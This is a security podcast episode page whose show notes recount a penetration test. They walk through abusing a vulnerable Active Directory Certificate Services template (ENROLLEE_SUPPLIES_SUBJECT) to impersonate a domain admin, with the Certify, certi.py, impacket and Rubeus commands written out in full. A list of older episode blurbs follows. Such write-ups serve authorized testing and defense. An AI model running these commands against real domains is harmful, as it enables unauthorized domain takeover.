7MS #501: Tales of Pentest Pwnage - Part 31

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Episoder(683)

7MS #51: CEH vs. OSCP (audio)

7MS #51: CEH vs. OSCP (audio)

A few people have written in asking whether to pursue the CEH or OSCP (or both). This episode discusses my experience with each cert and hopefully points you in the right direction on which one might be right for you. Here’s the article on CEH I mention during the episode – it has much more…

7 Apr 20157min

7MS #50: OSCP – The Final Chapter – part 2! (audio)

7MS #50: OSCP – The Final Chapter – part 2! (audio)

At last, the epic conclusion of the maddening, redeeming OSCP journey. 7MS #50: OSCP – The Final Chapter – part 2! (audio)

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7MS #49: OSCP – The Final Chapter – part 1! (audio)

7MS #49: OSCP – The Final Chapter – part 1! (audio)

We’ve arrived at the exciting two-part finale to my bloody battle with the OSCP! 7MS #49: OSCP – the final chapter – part 1! (audio)

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7MS #48: So I Gave My Eight Year Old a Computer (audio)

7MS #48: So I Gave My Eight Year Old a Computer (audio)

Is it a good idea to give young kids a computer to play with? Maybe. Maybe not. Tune in to today’s episode and weigh in! 7MS #48: So I Gave My Eight Year Old a Computer (audio)

21 Mar 20158min

7MS #47: Logging and Alerting RELOADED (audio)

7MS #47: Logging and Alerting RELOADED (audio)

Hey, you should log the stuff going on in your network. This episode talks about that (again). And I reference some AD-related settings that may not be enabled in your environment…stuff you might want to turn on. Check out that information via this PDF here. 7MS #47: Logging and Alerting Reloaded (audio)

17 Mar 20157min

7MS #46: So You Want to be a Hacker? (audio)

7MS #46: So You Want to be a Hacker? (audio)

So you want to be a hacker? Cool. In this episode I toss myself under the bus and share why I used to have a really dumb perspective on what that meant, and how my view of hackers – and hacking – has changed (and hopefully matured). 7MS #46: So You Want to be a…

14 Mar 20157min

7MS #45: OFFTOPIC – Why I Stopped Pirating Software (audio)

7MS #45: OFFTOPIC – Why I Stopped Pirating Software (audio)

Warning, this is an off topic episode! I used to pirate software. There. I admitted it. But it’s funny how a letter from the Comcast legal dept. will change your mind and let you see piracy in a whole new light! 7MS #45: OFFTOPIC – Why I Stopped Pirating Software (audio)

10 Mar 20157min

7MS #44: OFFTOPIC – Annoying People at the YMCA (audio)

7MS #44: OFFTOPIC – Annoying People at the YMCA (audio)

Warning, this is an off topic episode! Did you know it’s fun to stay at the YMCA? Did you also know it’s fun to annoy annoying people at the YMCA? Listen to this episode to find out why. 7MS #44: OFFTOPIC – Annoying People at the YMCA (audio)

7 Mar 20157min

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